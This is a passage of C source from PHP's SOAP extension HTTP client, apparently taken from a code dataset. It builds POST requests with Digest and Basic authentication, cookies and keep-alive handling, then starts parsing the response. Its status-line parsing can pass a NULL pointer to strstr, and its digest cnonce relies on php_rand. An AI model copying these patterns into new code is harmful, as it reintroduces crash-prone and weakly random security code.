(void**)&tmp)) {\n\t\tcontext = php_stream_context_from_zval(*tmp, 0);\n\t}\n\n\tif (context && \n\t\tphp_stream_context_get_option(context, \"http\", \"max_redirects\", &tmp) == SUCCESS) {\n\t\tif (Z_TYPE_PP(tmp) != IS_STRING || !is_numeric_string(Z_STRVAL_PP(tmp), Z_STRLEN_PP(tmp), &redirect_max, NULL, 1)) {\n\t\t\tif (Z_TYPE_PP(tmp) == IS_LONG)\n\t\t\t\tredirect_max = Z_LVAL_PP(tmp);\n\t\t}\n\t}\n\ntry_again:\n\tif (phpurl == NULL || phpurl->host == NULL) {\n\t if (phpurl != NULL) {php_url_free(phpurl);}\n\t\tif (request != buf) {efree(request);}\n\t\tadd_soap_fault(this_ptr, \"HTTP\", \"Unable to parse URL\", NULL, NULL TSRMLS_CC);\n\t\tsmart_str_free(&soap_headers_z);\n\t\treturn FALSE;\n\t}\n\n\tuse_ssl = 0;\n\tif (phpurl->scheme != NULL && strcmp(phpurl->scheme, \"https\") == 0) {\n\t\tuse_ssl = 1;\n\t} else if (phpurl->scheme == NULL || strcmp(phpurl->scheme, \"http\") != 0) {\n\t\tphp_url_free(phpurl);\n\t\tif (request != buf) {efree(request);}\n\t\tadd_soap_fault(this_ptr, \"HTTP\", \"Unknown protocol. Only http and https are allowed.\", NULL, NULL TSRMLS_CC);\n\t\tsmart_str_free(&soap_headers_z);\n\t\treturn FALSE;\n\t}\n\n\told_allow_url_fopen = PG(allow_url_fopen);\n\tPG(allow_url_fopen) = 1;\n\tif (use_ssl && php_stream_locate_url_wrapper(\"https://\", NULL, STREAM_LOCATE_WRAPPERS_ONLY TSRMLS_CC) == NULL) {\n\t\tphp_url_free(phpurl);\n\t\tif (request != buf) {efree(request);}\n\t\tadd_soap_fault(this_ptr, \"HTTP\", \"SSL support is not available in this build\", NULL, NULL TSRMLS_CC);\n\t\tPG(allow_url_fopen) = old_allow_url_fopen;\n\t\tsmart_str_free(&soap_headers_z);\n\t\treturn FALSE;\n\t}\n\n\tif (phpurl->port == 0) {\n\t\tphpurl->port = use_ssl ? 443 : 80;\n\t}\n\n\t/* Check if request to the same host */\n\tif (stream != NULL) {\n\t php_url *orig;\n\t\tif (zend_hash_find(Z_OBJPROP_P(this_ptr), \"httpurl\", sizeof(\"httpurl\"), (void **)&tmp) == SUCCESS &&\n\t\t (orig = (php_url *) zend_fetch_resource(tmp TSRMLS_CC, -1, \"httpurl\", NULL, 1, le_url)) != NULL &&\n\t\t ((use_proxy && !use_ssl) ||\n\t\t (((use_ssl && orig->scheme != NULL && strcmp(orig->scheme, \"https\") == 0) ||\n\t\t (!use_ssl && orig->scheme == NULL) ||\n\t\t (!use_ssl && strcmp(orig->scheme, \"https\") != 0)) &&\n\t\t strcmp(orig->host, phpurl->host) == 0 &&\n\t\t orig->port == phpurl->port))) {\n } else {\n\t\t\tphp_stream_close(stream);\n\t\t\tzend_hash_del(Z_OBJPROP_P(this_ptr), \"httpurl\", sizeof(\"httpurl\"));\n\t\t\tzend_hash_del(Z_OBJPROP_P(this_ptr), \"httpsocket\", sizeof(\"httpsocket\"));\n\t\t\tzend_hash_del(Z_OBJPROP_P(this_ptr), \"_use_proxy\", sizeof(\"_use_proxy\"));\n\t\t\tstream = NULL;\n\t\t\tuse_proxy = 0;\n }\n\t}\n\n\t/* Check if keep-alive connection is still opened */\n\tif (stream != NULL && php_stream_eof(stream)) {\n\t\tphp_stream_close(stream);\n\t\tzend_hash_del(Z_OBJPROP_P(this_ptr), \"httpurl\", sizeof(\"httpurl\"));\n\t\tzend_hash_del(Z_OBJPROP_P(this_ptr), \"httpsocket\", sizeof(\"httpsocket\"));\n\t\tzend_hash_del(Z_OBJPROP_P(this_ptr), \"_use_proxy\", sizeof(\"_use_proxy\"));\n\t\tstream = NULL;\n\t\tuse_proxy = 0;\n\t}\n\n\tif (!stream) {\n\t\tstream = http_connect(this_ptr, phpurl, use_ssl, context, &use_proxy TSRMLS_CC);\n\t\tif (stream) {\n\t\t\tphp_stream_auto_cleanup(stream);\n\t\t\tadd_property_resource(this_ptr, \"httpsocket\", php_stream_get_resource_id(stream));\n\t\t\tadd_property_long(this_ptr, \"_use_proxy\", use_proxy);\n\t\t} else {\n\t\t\tphp_url_free(phpurl);\n\t\t\tif (request != buf) {efree(request);}\n\t\t\tadd_soap_fault(this_ptr, \"HTTP\", \"Could not connect to host\", NULL, NULL TSRMLS_CC);\n\t\t\tPG(allow_url_fopen) = old_allow_url_fopen;\n\t\t\tsmart_str_free(&soap_headers_z);\n\t\t\treturn FALSE;\n\t\t}\n\t}\n\tPG(allow_url_fopen) = old_allow_url_fopen;\n\n\tif (stream) {\n\t\tzval **cookies, **login, **password;\n\t int ret = zend_list_insert(phpurl, le_url TSRMLS_CC);\n\n\t\tadd_property_resource(this_ptr, \"httpurl\", ret);\n\t\t/*zend_list_addref(ret);*/\n\n\t\tif (context && \n\t\t php_stream_context_get_option(context, \"http\", \"protocol_version\", &tmp) == SUCCESS &&\n\t\t Z_TYPE_PP(tmp) == IS_DOUBLE &&\n\t\t Z_DVAL_PP(tmp) == 1.0) {\n\t\t\thttp_1_1 = 0;\n\t\t} else {\n\t\t\thttp_1_1 = 1;\n\t\t}\n\n\t\tsmart_str_append_const(&soap_headers, \"POST \");\n\t\tif (use_proxy && !use_ssl) {\n\t\t\tsmart_str_appends(&soap_headers, phpurl->scheme);\n\t\t\tsmart_str_append_const(&soap_headers, \"://\");\n\t\t\tsmart_str_appends(&soap_headers, phpurl->host);\n\t\t\tsmart_str_appendc(&soap_headers, ':');\n\t\t\tsmart_str_append_unsigned(&soap_headers, phpurl->port);\n\t\t}\n\t\tif (phpurl->path) {\n\t\t\tsmart_str_appends(&soap_headers, phpurl->path);\n\t\t} else {\n\t\t\tsmart_str_appendc(&soap_headers, '/');\n\t\t}\n\t\tif (phpurl->query) {\n\t\t\tsmart_str_appendc(&soap_headers, '?');\n\t\t\tsmart_str_appends(&soap_headers, phpurl->query);\n\t\t}\n\t\tif (phpurl->fragment) {\n\t\t\tsmart_str_appendc(&soap_headers, '#');\n\t\t\tsmart_str_appends(&soap_headers, phpurl->fragment);\n\t\t}\n\t\tif (http_1_1) {\n\t\t\tsmart_str_append_const(&soap_headers, \" HTTP/1.1\\r\\n\");\n\t\t} else {\n\t\t\tsmart_str_append_const(&soap_headers, \" HTTP/1.0\\r\\n\");\n\t\t}\n\t\tsmart_str_append_const(&soap_headers, \"Host: \");\n\t\tsmart_str_appends(&soap_headers, phpurl->host);\n\t\tif (phpurl->port != (use_ssl?443:80)) {\n\t\t\tsmart_str_appendc(&soap_headers, ':');\n\t\t\tsmart_str_append_unsigned(&soap_headers, phpurl->port);\n\t\t}\n\t\tif (!http_1_1 ||\n\t\t\t(zend_hash_find(Z_OBJPROP_P(this_ptr), \"_keep_alive\", sizeof(\"_keep_alive\"), (void **)&tmp) == SUCCESS &&\n\t\t\t Z_LVAL_PP(tmp) == 0)) {\n\t\t\tsmart_str_append_const(&soap_headers, \"\\r\\n\"\n\t\t\t\t\"Connection: close\\r\\n\");\n\t\t} else {\n\t\t\tsmart_str_append_const(&soap_headers, \"\\r\\n\"\n\t\t\t\t\"Connection: Keep-Alive\\r\\n\");\n\t\t}\n\t\tif (zend_hash_find(Z_OBJPROP_P(this_ptr), \"_user_agent\", sizeof(\"_user_agent\"), (void **)&tmp) == SUCCESS &&\n\t\t Z_TYPE_PP(tmp) == IS_STRING) {\n\t\t\tif (Z_STRLEN_PP(tmp) > 0) {\n\t\t\t\tsmart_str_append_const(&soap_headers, \"User-Agent: \");\n\t\t\t\tsmart_str_appendl(&soap_headers, Z_STRVAL_PP(tmp), Z_STRLEN_PP(tmp));\n\t\t\t\tsmart_str_append_const(&soap_headers, \"\\r\\n\");\n\t\t\t}\n\t\t} else if (context && \n\t\t php_stream_context_get_option(context, \"http\", \"user_agent\", &tmp) == SUCCESS &&\n\t\t Z_TYPE_PP(tmp) == IS_STRING) {\n\t\t\tif (Z_STRLEN_PP(tmp) > 0) {\n\t\t\t\tsmart_str_append_const(&soap_headers, \"User-Agent: \");\n\t\t\t\tsmart_str_appendl(&soap_headers, Z_STRVAL_PP(tmp), Z_STRLEN_PP(tmp));\n\t\t\t\tsmart_str_append_const(&soap_headers, \"\\r\\n\");\n\t\t\t}\n\t\t} else if (FG(user_agent)) {\n\t\t\tsmart_str_append_const(&soap_headers, \"User-Agent: \");\n\t\t\tsmart_str_appends(&soap_headers, FG(user_agent));\n\t\t\tsmart_str_append_const(&soap_headers, \"\\r\\n\");\n\t\t} else {\n\t\t\tsmart_str_append_const(&soap_headers, \"User-Agent: PHP-SOAP/\"PHP_VERSION\"\\r\\n\");\n\t\t}\n\n\t\tsmart_str_append(&soap_headers, &soap_headers_z);\n\n\t\tif (soap_version == SOAP_1_2) {\n\t\t\tsmart_str_append_const(&soap_headers,\"Content-Type: application/soap+xml; charset=utf-8\");\n\t\t\tif (soapaction) {\n\t\t\t\tsmart_str_append_const(&soap_headers,\"; action=\\\"\");\n\t\t\t\tsmart_str_appends(&soap_headers, soapaction);\n\t\t\t\tsmart_str_append_const(&soap_headers,\"\\\"\");\n\t\t\t}\n\t\t\tsmart_str_append_const(&soap_headers,\"\\r\\n\");\n\t\t} else {\n\t\t\tsmart_str_append_const(&soap_headers,\"Content-Type: text/xml; charset=utf-8\\r\\n\");\n\t\t\tif (soapaction) {\n\t\t\t\tsmart_str_append_const(&soap_headers, \"SOAPAction: \\\"\");\n\t\t\t\tsmart_str_appends(&soap_headers, soapaction);\n\t\t\t\tsmart_str_append_const(&soap_headers, \"\\\"\\r\\n\");\n\t\t\t}\n\t\t}\n\t\tsmart_str_append_const(&soap_headers,\"Content-Length: \");\n\t\tsmart_str_append_long(&soap_headers, request_size);\n\t\tsmart_str_append_const(&soap_headers, \"\\r\\n\");\n\n\t\t/* HTTP Authentication */\n\t\tif (zend_hash_find(Z_OBJPROP_P(this_ptr), \"_login\", sizeof(\"_login\"), (void **)&login) == SUCCESS &&\n\t\t Z_TYPE_PP(login) == IS_STRING) {\n\t\t\tzval **digest;\n\n\t\t\thas_authorization = 1;\n\t\t\tif (zend_hash_find(Z_OBJPROP_P(this_ptr), \"_digest\", sizeof(\"_digest\"), (void **)&digest) == SUCCESS) {\n\t\t\t\tif (Z_TYPE_PP(digest) == IS_ARRAY) {\n\t\t\t\t\tchar HA1[33], HA2[33], response[33], cnonce[33], nc[9];\n\t\t\t\t\tPHP_MD5_CTX md5ctx;\n\t\t\t\t\tunsigned char hash[16];\n\n\t\t\t\t\tPHP_MD5Init(&md5ctx);\n\t\t\t\t\tsnprintf(cnonce, sizeof(cnonce), \"%ld\", php_rand(TSRMLS_C));\n\t\t\t\t\tPHP_MD5Update(&md5ctx, (unsigned char*)cnonce, strlen(cnonce));\n\t\t\t\t\tPHP_MD5Final(hash, &md5ctx);\n\t\t\t\t\tmake_digest(cnonce, hash);\n\n\t\t\t\t\tif (zend_hash_find(Z_ARRVAL_PP(digest), \"nc\", sizeof(\"nc\"), (void **)&tmp) == SUCCESS &&\n\t\t\t\t\t Z_TYPE_PP(tmp) == IS_LONG) {\n\t\t\t\t\t\tZ_LVAL_PP(tmp)++;\n\t\t\t\t\t\tsnprintf(nc, sizeof(nc), \"%08ld\", Z_LVAL_PP(tmp));\n\t\t\t\t\t} else {\n\t\t\t\t\t\tadd_assoc_long(*digest, \"nc\", 1);\n\t\t\t\t\t\tstrcpy(nc, \"00000001\");\n\t\t\t\t\t}\n\n\t\t\t\t\tPHP_MD5Init(&md5ctx);\n\t\t\t\t\tPHP_MD5Update(&md5ctx, (unsigned char*)Z_STRVAL_PP(login), Z_STRLEN_PP(login));\n\t\t\t\t\tPHP_MD5Update(&md5ctx, (unsigned char*)\":\", 1);\n\t\t\t\t\tif (zend_hash_find(Z_ARRVAL_PP(digest), \"realm\", sizeof(\"realm\"), (void **)&tmp) == SUCCESS &&\n\t\t\t\t\t Z_TYPE_PP(tmp) == IS_STRING) {\n\t\t\t\t\t\tPHP_MD5Update(&md5ctx, (unsigned char*)Z_STRVAL_PP(tmp), Z_STRLEN_PP(tmp));\n\t\t\t\t\t}\n\t\t\t\t\tPHP_MD5Update(&md5ctx, (unsigned char*)\":\", 1);\n\t\t\t\t\tif (zend_hash_find(Z_OBJPROP_P(this_ptr), \"_password\", sizeof(\"_password\"), (void **)&password) == SUCCESS &&\n\t\t\t\t\t Z_TYPE_PP(password) == IS_STRING) {\n\t\t\t\t\t\tPHP_MD5Update(&md5ctx, (unsigned char*)Z_STRVAL_PP(password), Z_STRLEN_PP(password));\n\t\t\t\t\t}\n\t\t\t\t\tPHP_MD5Final(hash, &md5ctx);\n\t\t\t\t\tmake_digest(HA1, hash);\n\t\t\t\t\tif (zend_hash_find(Z_ARRVAL_PP(digest), \"algorithm\", sizeof(\"algorithm\"), (void **)&tmp) == SUCCESS &&\n\t\t\t\t\t Z_TYPE_PP(tmp) == IS_STRING &&\n\t\t\t\t\t Z_STRLEN_PP(tmp) == sizeof(\"md5-sess\")-1 &&\n\t\t\t\t\t stricmp(Z_STRVAL_PP(tmp), \"md5-sess\") == 0) {\n\t\t\t\t\t\tPHP_MD5Init(&md5ctx);\n\t\t\t\t\t\tPHP_MD5Update(&md5ctx, (unsigned char*)HA1, 32);\n\t\t\t\t\t\tPHP_MD5Update(&md5ctx, (unsigned char*)\":\", 1);\n\t\t\t\t\t\tif (zend_hash_find(Z_ARRVAL_PP(digest), \"nonce\", sizeof(\"nonce\"), (void **)&tmp) == SUCCESS &&\n\t\t\t\t\t\t Z_TYPE_PP(tmp) == IS_STRING) {\n\t\t\t\t\t\t\tPHP_MD5Update(&md5ctx, (unsigned char*)Z_STRVAL_PP(tmp), Z_STRLEN_PP(tmp));\n\t\t\t\t\t\t}\n\t\t\t\t\t\tPHP_MD5Update(&md5ctx, (unsigned char*)\":\", 1);\n\t\t\t\t\t\tPHP_MD5Update(&md5ctx, (unsigned char*)cnonce, 8);\n\t\t\t\t\t\tPHP_MD5Final(hash, &md5ctx);\n\t\t\t\t\t\tmake_digest(HA1, hash);\n\t\t\t\t\t}\n\n\t\t\t\t\tPHP_MD5Init(&md5ctx);\n\t\t\t\t\tPHP_MD5Update(&md5ctx, (unsigned char*)\"POST:\", sizeof(\"POST:\")-1);\n\t\t\t\t\tif (phpurl->path) {\n\t\t\t\t\t\tPHP_MD5Update(&md5ctx, (unsigned char*)phpurl->path, strlen(phpurl->path));\n\t\t\t\t\t} else {\n\t\t\t\t\t\tPHP_MD5Update(&md5ctx, (unsigned char*)\"/\", 1);\n\t\t\t\t\t}\n\t\t\t\t\tif (phpurl->query) {\n\t\t\t\t\t\tPHP_MD5Update(&md5ctx, (unsigned char*)\"?\", 1);\n\t\t\t\t\t\tPHP_MD5Update(&md5ctx, (unsigned char*)phpurl->query, strlen(phpurl->query));\n\t\t\t\t\t}\n\n\t\t\t\t\t/* TODO: Support for qop=\"auth-int\" */\n/*\n\t\t\t\t\tif (zend_hash_find(Z_ARRVAL_PP(digest), \"qop\", sizeof(\"qop\"), (void **)&tmp) == SUCCESS &&\n\t\t\t\t\t Z_TYPE_PP(tmp) == IS_STRING &&\n\t\t\t\t\t Z_STRLEN_PP(tmp) == sizeof(\"auth-int\")-1 &&\n\t\t\t\t\t stricmp(Z_STRVAL_PP(tmp), \"auth-int\") == 0) {\n\t\t\t\t\t\tPHP_MD5Update(&md5ctx, \":\", 1);\n\t\t\t\t\t\tPHP_MD5Update(&md5ctx, HEntity, HASHHEXLEN);\n\t\t\t\t\t}\n*/\n\t\t\t\t\tPHP_MD5Final(hash, &md5ctx);\n\t\t\t\t\tmake_digest(HA2, hash);\n\n\t\t\t\t\tPHP_MD5Init(&md5ctx);\n\t\t\t\t\tPHP_MD5Update(&md5ctx, (unsigned char*)HA1, 32);\n\t\t\t\t\tPHP_MD5Update(&md5ctx, (unsigned char*)\":\", 1);\n\t\t\t\t\tif (zend_hash_find(Z_ARRVAL_PP(digest), \"nonce\", sizeof(\"nonce\"), (void **)&tmp) == SUCCESS &&\n\t\t\t\t\t Z_TYPE_PP(tmp) == IS_STRING) {\n\t\t\t\t\t\tPHP_MD5Update(&md5ctx, (unsigned char*)Z_STRVAL_PP(tmp), Z_STRLEN_PP(tmp));\n\t\t\t\t\t}\n\t\t\t\t\tPHP_MD5Update(&md5ctx, (unsigned char*)\":\", 1);\n\t\t\t\t\tif (zend_hash_find(Z_ARRVAL_PP(digest), \"qop\", sizeof(\"qop\"), (void **)&tmp) == SUCCESS &&\n\t\t\t\t\t Z_TYPE_PP(tmp) == IS_STRING) {\n\t\t\t\t\t\tPHP_MD5Update(&md5ctx, (unsigned char*)nc, 8);\n\t\t\t\t\t\tPHP_MD5Update(&md5ctx, (unsigned char*)\":\", 1);\n\t\t\t\t\t\tPHP_MD5Update(&md5ctx, (unsigned char*)cnonce, 8);\n\t\t\t\t\t\tPHP_MD5Update(&md5ctx, (unsigned char*)\":\", 1);\n\t\t\t\t\t\t/* TODO: Support for qop=\"auth-int\" */\n\t\t\t\t\t\tPHP_MD5Update(&md5ctx, (unsigned char*)\"auth\", sizeof(\"auth\")-1);\n\t\t\t\t\t\tPHP_MD5Update(&md5ctx, (unsigned char*)\":\", 1);\n\t\t\t\t\t}\n\t\t\t\t\tPHP_MD5Update(&md5ctx, (unsigned char*)HA2, 32);\n\t\t\t\t\tPHP_MD5Final(hash, &md5ctx);\n\t\t\t\t\tmake_digest(response, hash);\n\t\n\t\t\t\t\tsmart_str_append_const(&soap_headers, \"Authorization: Digest username=\\\"\");\n\t\t\t\t\tsmart_str_appendl(&soap_headers, Z_STRVAL_PP(login), Z_STRLEN_PP(login));\n\t\t\t\t\tif (zend_hash_find(Z_ARRVAL_PP(digest), \"realm\", sizeof(\"realm\"), (void **)&tmp) == SUCCESS &&\n\t\t\t\t\t Z_TYPE_PP(tmp) == IS_STRING) {\n\t\t\t\t\t\tsmart_str_append_const(&soap_headers, \"\\\", realm=\\\"\");\n\t\t\t\t\t\tsmart_str_appendl(&soap_headers, Z_STRVAL_PP(tmp), Z_STRLEN_PP(tmp));\n\t\t\t\t\t}\n\t\t\t\t\tif (zend_hash_find(Z_ARRVAL_PP(digest), \"nonce\", sizeof(\"nonce\"), (void **)&tmp) == SUCCESS &&\n\t\t\t\t\t Z_TYPE_PP(tmp) == IS_STRING) {\n\t\t\t\t\t\tsmart_str_append_const(&soap_headers, \"\\\", nonce=\\\"\");\n\t\t\t\t\t\tsmart_str_appendl(&soap_headers, Z_STRVAL_PP(tmp), Z_STRLEN_PP(tmp));\n\t\t\t\t\t}\n\t\t\t\t\tsmart_str_append_const(&soap_headers, \"\\\", uri=\\\"\");\n\t\t\t\t\tif (phpurl->path) {\n\t\t\t\t\t\tsmart_str_appends(&soap_headers, phpurl->path);\n\t\t\t\t\t} else {\n\t\t\t\t\t\tsmart_str_appendc(&soap_headers, '/');\n\t\t\t\t\t} \n\t\t\t\t\tif (phpurl->query) {\n\t\t\t\t\t\tsmart_str_appendc(&soap_headers, '?');\n\t\t\t\t\t\tsmart_str_appends(&soap_headers, phpurl->query);\n\t\t\t\t\t}\n\t\t\t\t\tif (phpurl->fragment) {\n\t\t\t\t\t\tsmart_str_appendc(&soap_headers, '#');\n\t\t\t\t\t\tsmart_str_appends(&soap_headers, phpurl->fragment);\n\t\t\t\t\t}\n\t\t\t\t\tif (zend_hash_find(Z_ARRVAL_PP(digest), \"qop\", sizeof(\"qop\"), (void **)&tmp) == SUCCESS &&\n\t\t\t\t\t Z_TYPE_PP(tmp) == IS_STRING) {\n\t\t\t\t\t/* TODO: Support for qop=\"auth-int\" */\n\t\t\t\t\t\tsmart_str_append_const(&soap_headers, \"\\\", qop=\\\"auth\");\n\t\t\t\t\t\tsmart_str_append_const(&soap_headers, \"\\\", nc=\\\"\");\n\t\t\t\t\t\tsmart_str_appendl(&soap_headers, nc, 8);\n\t\t\t\t\t\tsmart_str_append_const(&soap_headers, \"\\\", cnonce=\\\"\");\n\t\t\t\t\t\tsmart_str_appendl(&soap_headers, cnonce, 8);\n\t\t\t\t\t}\n\t\t\t\t\tsmart_str_append_const(&soap_headers, \"\\\", response=\\\"\");\n\t\t\t\t\tsmart_str_appendl(&soap_headers, response, 32);\n\t\t\t\t\tif (zend_hash_find(Z_ARRVAL_PP(digest), \"opaque\", sizeof(\"opaque\"), (void **)&tmp) == SUCCESS &&\n\t\t\t\t\t Z_TYPE_PP(tmp) == IS_STRING) {\n\t\t\t\t\t\tsmart_str_append_const(&soap_headers, \"\\\", opaque=\\\"\");\n\t\t\t\t\t\tsmart_str_appendl(&soap_headers, Z_STRVAL_PP(tmp), Z_STRLEN_PP(tmp));\n\t\t\t\t\t}\n\t\t\t\t\tif (zend_hash_find(Z_ARRVAL_PP(digest), \"algorithm\", sizeof(\"algorithm\"), (void **)&tmp) == SUCCESS &&\n\t\t\t\t\t\tZ_TYPE_PP(tmp) == IS_STRING) {\n\t\t\t\t\t\tsmart_str_append_const(&soap_headers, \"\\\", algorithm=\\\"\");\n\t\t\t\t\t\tsmart_str_appendl(&soap_headers, Z_STRVAL_PP(tmp), Z_STRLEN_PP(tmp));\n\t\t\t\t\t}\n\t\t\t\t\tsmart_str_append_const(&soap_headers, \"\\\"\\r\\n\");\n\t\t\t\t}\n\t\t\t} else {\n\t\t\t\tunsigned char* buf;\n\t\t\t\tint len;\n\n\t\t\t\tsmart_str auth = {0};\n\t\t\t\tsmart_str_appendl(&auth, Z_STRVAL_PP(login), Z_STRLEN_PP(login));\n\t\t\t\tsmart_str_appendc(&auth, ':');\n\t\t\t\tif (zend_hash_find(Z_OBJPROP_P(this_ptr), \"_password\", sizeof(\"_password\"), (void **)&password) == SUCCESS &&\n\t\t\t\t Z_TYPE_PP(password) == IS_STRING) {\n\t\t\t\t\tsmart_str_appendl(&auth, Z_STRVAL_PP(password), Z_STRLEN_PP(password));\n\t\t\t\t}\n\t\t\t\tsmart_str_0(&auth);\n\t\t\t\tbuf = php_base64_encode((unsigned char*)auth.c, auth.len, &len);\n\t\t\t\tsmart_str_append_const(&soap_headers, \"Authorization: Basic \");\n\t\t\t\tsmart_str_appendl(&soap_headers, (char*)buf, len);\n\t\t\t\tsmart_str_append_const(&soap_headers, \"\\r\\n\");\n\t\t\t\tefree(buf);\n\t\t\t\tsmart_str_free(&auth);\n\t\t\t}\n\t\t}\n\n\t\t/* Proxy HTTP Authentication */\n\t\tif (use_proxy && !use_ssl) {\n\t\t\thas_proxy_authorization = proxy_authentication(this_ptr, &soap_headers TSRMLS_CC);\n\t\t}\n\n\t\t/* Send cookies along with request */\n\t\tif (zend_hash_find(Z_OBJPROP_P(this_ptr), \"_cookies\", sizeof(\"_cookies\"), (void **)&cookies) == SUCCESS) {\n\t\t\tzval **data;\n\t\t\tchar *key;\n\t\t\tint i, n;\n\n\t\t\thas_cookies = 1;\n\t\t\tn = zend_hash_num_elements(Z_ARRVAL_PP(cookies));\n\t\t\tif (n > 0) {\n\t\t\t\tzend_hash_internal_pointer_reset(Z_ARRVAL_PP(cookies));\n\t\t\t\tsmart_str_append_const(&soap_headers, \"Cookie: \");\n\t\t\t\tfor (i = 0; i < n; i++) {\n\t\t\t\t\tzend_hash_get_current_data(Z_ARRVAL_PP(cookies), (void **)&data);\n\t\t\t\t\tzend_hash_get_current_key(Z_ARRVAL_PP(cookies), &key, NULL, FALSE);\n\n\t\t\t\t\tif (Z_TYPE_PP(data) == IS_ARRAY) {\n\t\t\t\t\t zval** value;\n\n\t\t\t\t\t\tif (zend_hash_index_find(Z_ARRVAL_PP(data), 0, (void**)&value) == SUCCESS &&\n\t\t\t\t\t\t Z_TYPE_PP(value) == IS_STRING) {\n\t\t\t\t\t\t zval **tmp;\n\t\t\t\t\t\t if ((zend_hash_index_find(Z_ARRVAL_PP(data), 1, (void**)&tmp) == FAILURE ||\n\t\t\t\t\t\t strncmp(phpurl->path?phpurl->path:\"/\",Z_STRVAL_PP(tmp),Z_STRLEN_PP(tmp)) == 0) &&\n\t\t\t\t\t\t (zend_hash_index_find(Z_ARRVAL_PP(data), 2, (void**)&tmp) == FAILURE ||\n\t\t\t\t\t\t in_domain(phpurl->host,Z_STRVAL_PP(tmp))) &&\n\t\t\t\t\t\t (use_ssl || zend_hash_index_find(Z_ARRVAL_PP(data), 3, (void**)&tmp) == FAILURE)) {\n\t\t\t\t\t\t\t\tsmart_str_appendl(&soap_headers, key, strlen(key));\n\t\t\t\t\t\t\t\tsmart_str_appendc(&soap_headers, '=');\n\t\t\t\t\t\t\t\tsmart_str_appendl(&soap_headers, Z_STRVAL_PP(value), Z_STRLEN_PP(value));\n\t\t\t\t\t\t\t\tsmart_str_appendc(&soap_headers, ';');\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t\tzend_hash_move_forward(Z_ARRVAL_PP(cookies));\n\t\t\t\t}\n\t\t\t\tsmart_str_append_const(&soap_headers, \"\\r\\n\");\n\t\t\t}\n\t\t}\n\n\t\thttp_context_headers(context, has_authorization, has_proxy_authorization, has_cookies, &soap_headers TSRMLS_CC);\n\n\t\tsmart_str_append_const(&soap_headers, \"\\r\\n\");\n\t\tsmart_str_0(&soap_headers);\n\t\tif (zend_hash_find(Z_OBJPROP_P(this_ptr), \"trace\", sizeof(\"trace\"), (void **) &trace) == SUCCESS &&\n\t\t Z_LVAL_PP(trace) > 0) {\n\t\t\tadd_property_stringl(this_ptr, \"__last_request_headers\", soap_headers.c, soap_headers.len, 1);\n\t\t}\n\t\tsmart_str_appendl(&soap_headers, request, request_size);\n\t\tsmart_str_0(&soap_headers);\n\n\t\terr = php_stream_write(stream, soap_headers.c, soap_headers.len);\n\t\tif (err != soap_headers.len) {\n\t\t\tif (request != buf) {efree(request);}\n\t\t\tphp_stream_close(stream);\n\t\t\tzend_hash_del(Z_OBJPROP_P(this_ptr), \"httpurl\", sizeof(\"httpurl\"));\n\t\t\tzend_hash_del(Z_OBJPROP_P(this_ptr), \"httpsocket\", sizeof(\"httpsocket\"));\n\t\t\tzend_hash_del(Z_OBJPROP_P(this_ptr), \"_use_proxy\", sizeof(\"_use_proxy\"));\n\t\t\tadd_soap_fault(this_ptr, \"HTTP\", \"Failed Sending HTTP SOAP request\", NULL, NULL TSRMLS_CC);\n\t\t\tsmart_str_free(&soap_headers_z);\n\t\t\treturn FALSE;\n\t\t}\n\t\tsmart_str_free(&soap_headers);\n\t} else {\n\t\tadd_soap_fault(this_ptr, \"HTTP\", \"Failed to create stream??\", NULL, NULL TSRMLS_CC);\n\t\tsmart_str_free(&soap_headers_z);\n\t\treturn FALSE;\n\t}\n\n\tif (!buffer) {\n\t\tphp_stream_close(stream);\n\t\tzend_hash_del(Z_OBJPROP_P(this_ptr), \"httpsocket\", sizeof(\"httpsocket\"));\n\t\tzend_hash_del(Z_OBJPROP_P(this_ptr), \"_use_proxy\", sizeof(\"_use_proxy\"));\n\t\tsmart_str_free(&soap_headers_z);\n\t\treturn TRUE;\n\t}\n\n\tdo {\n\t\tif (!get_http_headers(stream, &http_headers, &http_header_size TSRMLS_CC)) {\n\t\t\tif (http_headers) {efree(http_headers);}\n\t\t\tif (request != buf) {efree(request);}\n\t\t\tphp_stream_close(stream);\n\t\t\tzend_hash_del(Z_OBJPROP_P(this_ptr), \"httpsocket\", sizeof(\"httpsocket\"));\n\t\t\tzend_hash_del(Z_OBJPROP_P(this_ptr), \"_use_proxy\", sizeof(\"_use_proxy\"));\n\t\t\tadd_soap_fault(this_ptr, \"HTTP\", \"Error Fetching http headers\", NULL, NULL TSRMLS_CC);\n\t\t\tsmart_str_free(&soap_headers_z);\n\t\t\treturn FALSE;\n\t\t}\n\n\t\tif (zend_hash_find(Z_OBJPROP_P(this_ptr), \"trace\", sizeof(\"trace\"), (void **) &trace) == SUCCESS &&\n\t\t Z_LVAL_PP(trace) > 0) {\n\t\t\tadd_property_stringl(this_ptr, \"__last_response_headers\", http_headers, http_header_size, 1);\n\t\t}\n\n\t\t/* Check to see what HTTP status was sent */\n\t\thttp_1_1 = 0;\n\t\thttp_status = 0;\n\t\thttp_version = get_http_header_value(http_headers,\"HTTP/\");\n\t\tif (http_version) {\n\t\t\tchar *tmp;\n\n\t\t\tif (!strncmp(http_version,\"1.1\", 3)) {\n\t\t\t\thttp_1_1 = 1;\n\t\t\t}\n\n\t\t\ttmp = strstr(http_version,\" \");\n\t\t\tif (tmp != NULL) {\n\t\t\t\ttmp++;\n\t\t\t\thttp_status = atoi(tmp);\n\t\t\t}\n\t\t\ttmp = strstr(tmp,\" \");\n\t\t\tif (tmp != NULL) {\n\t\t\t\ttmp++;\n\t\t\t\tif (http_msg) {\n\t\t\t\t\tefree(http_msg);\n\t\t\t\t}\n\t\t\t\thttp_msg = estrdup(tmp);\n\t\t\t}\n\t\t\tefree(http_version);\n\n\t\t\t/* Try and get headers again */\n\t\t\tif (http_status == 100) {\n\t\t\t\tefree(http_headers);\n\t\t\t}\n\t\t}\n\t} while (http_status == 100);\n\n\t/* Grab and send back every cookie */\n\n\t/* Not going to worry about Path: because\n\t we shouldn't be changing urls so path dont\n\t matter too much\n\t*/\n\tcookie_itt = strstr(http_headers,\"Set-Cookie: \");\n\twhile (cookie_itt) {\n\t\tchar *end_pos, *cookie;\n\t\tchar *eqpos, *sempos;\n\t\tzval **cookies;\n\n\t\tif (zend_hash_find(Z_OBJPROP_P(this_ptr), \"_cookies\", sizeof(\"_cookies\"), (void **)&cookies) == FAILURE) {\n\t\t\tzval *tmp_cookies;\n\t\t\tMAKE_STD_ZVAL(tmp_cookies);\n\t\t\tarray_init(tmp_cookies);\n\t\t\tzend_hash_update(Z_OBJPROP_P(this_ptr), 